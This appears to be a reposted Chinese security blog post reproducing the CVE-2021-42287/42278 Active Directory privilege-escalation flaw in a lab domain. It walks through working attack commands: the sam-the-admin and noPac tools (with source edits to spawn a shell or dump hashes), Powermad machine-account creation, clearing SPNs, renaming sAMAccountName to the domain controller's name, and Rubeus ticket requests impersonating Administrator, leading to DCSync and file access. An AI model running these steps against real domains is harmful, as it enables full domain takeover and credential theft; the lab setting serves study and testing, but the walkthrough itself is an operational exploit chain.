域控漏洞-CVE-2021-42287&42278复现

微信公众:信安文摘

环境介绍

域:god.org

windows 7

192.168.52.143
机器名称:stu1
域内普通用户:liukaifeng01:hongrisec@2021@

windows server 2008(DC)

192.168.52.138
机器名称:owa
域管用户:administrator:rihongsec@2021

sam-the-admin python利用脚本

https://github.com/WazeHell/sam-the-admin

目前脚本只能在kali环境下运行,Windows下运行错误如下:

image
python3 sam_the_admin.py "god/liukaifeng01:hongrisec@2021@" -dc-ip 192.168.52.138 -shell

旧版kali无smbexec可执行文件:

image

查看源码实际就是调用两个可执行文件:

fbinary = "/usr/bin/impacket-smbexec"
    if options.dump:
        fbinary = "/usr/bin/impacket-secretsdump"
    getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}'                                                                    "
    os.system(getashell)

kali中存在这两个文件的py形式,/usr/local/bin/smbexec.py/usr/local/bin/secretsdump.py

修改源码为如下:

fbinary = "python3 /usr/local/bin/smbexec.py"
    if options.dump:
        fbinary = "python3 /usr/local/bin/secretsdump.py"
    getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}'                                                                    "
    os.system(getashell)

漏洞利用成功:

image

noPac利用脚本

建议先看下面的利用流程章节,再看本章。

项目地址:https://github.com/cube0x0/noPac

使用visual studio进行编译,编译成功后在目标机器运行报错:

image

查了下是目标 .NET 版本与编译时 .NET 版本问题,改成 .NET 4.0进行编译就没有问题了:

image

漏洞验证:

noPac.exe scan -domain god.org -user liukaifeng01 -pass "hongrisec@2021@"
image

利用漏洞生成文件服务票据并访问域控文件:

这个漏洞需要新建一个机器账户, -mAccount为新建机器账户名,-mPassword为密码

noPac.exe -domain god.org -user liukaifeng01 -pass "hongrisec@2021@" /dc owa.god.org /mAccount testpc /mPassword testpassword /service cifs /ptt
image

这里只生成了一个文件服务的票据,但是还是无法访问域控文件:

image

我又继续生成一个ldap服务的票据,成功访问文件服务:

image

同样可以dcsync:

image

利用流程

1. 查询MAQ值

powerhsell下:

import-module activedirectory

Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

如果无法导入activedirectory模块,则说明powerhsell版本不够。

image

MachineAccountQuota默认为10,值为0意味着普通用户无法创建机器账户,也就无法直接利用这个漏洞。

2. 普通域用户创建机器账户并清除SPN

可以使用 impacket 的 addcomputer.py 或是 powermad

通过利用 powermad.ps1 新增机器帐号(MAQ=10,域用户默认可以新建10个机器账户)

下载地址:https://github.com/Kevin-Robertson/Powermad

在普通域机器powershell下执行:

Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
# 新建机器账户为 newpc,密码设置为hongrisec@2019
New-MachineAccount -MachineAccount newpc -Domain god.org -DomainController owa.god.org -Verbose
net group "domain computers" /domain
image
image

服务主体名称 (SPN) 是服务实例的唯一标识符。 Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。这允许客户端应用程序请求服务验证帐户,即使客户端没有帐户名称。

addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除。

通过PowerView.ps1清除机器账户的servicePrincipalName属性

Import-Module .\PowerView.ps1
Set-DomainObject "CN=newpc,CN=Computers,DC=god,DC=org" -Clear 'serviceprincipalname' -Verbose
image

3. 重设机器名称

将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

Set-MachineAccountAttribute -MachineAccount newpc -Value "owa" -Attribute samaccountname -Verbose
image

修改成功:

image

4. 为机器账户请求TGT

使用Rubeus请求tgt

项目地址:https://github.com/GhostPack/Rubeus

我使用visual studio 2017进行编译。编译时遇到c#版本问题,根据参考链接已解决。

Rubeus.exe asktgt /user:owa /password:hongrisec@2019 /domian:god.org /dc:owa.god.org /nowrap
image

5. 再次更改机器账户的sAMAccountName

将机器账户的sAMAccountName更改为其他名字,改回原来属性,或者其他的,不与步骤3重复即可。

Set-MachineAccountAttribute -MachineAccount newpc -Value "newpc2" -Attribute samaccountname -Verbose
image
image

6. 通过S4U2self协议向DC请求TGS票据

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/owa.god.org" /dc:"owa.god.org" /ptt /ticket:上面获取到的tgt票据内容
image
image

成功获取TGS票据:

image

注意这里获取的是ldap服务的票据,所以我们可以dumphash,而不能访问文件服务:

image
image

重新生成一个票据,定义服务为cifs:

/altservice:"cifs/owa.god.org"
image

成功访问文件服务:

image

参考链接

只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)

MIMIKATZ编译教程

错误 CS8107 C# 7.0 中不支持功能“xxxxxx”。请使用 7.1 或更高的语言版本。

Could not load type 'System.Runtime.CompilerServices.ExtensionAttribute' from assembly 'mscorlib

微信公众:信安文摘

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,657评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,889评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,057评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,509评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,562评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,443评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,251评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,129评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,561评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,779评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,902评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,621评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,220评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,838评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,971评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,025评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,843评论 2 354

推荐阅读更多精彩内容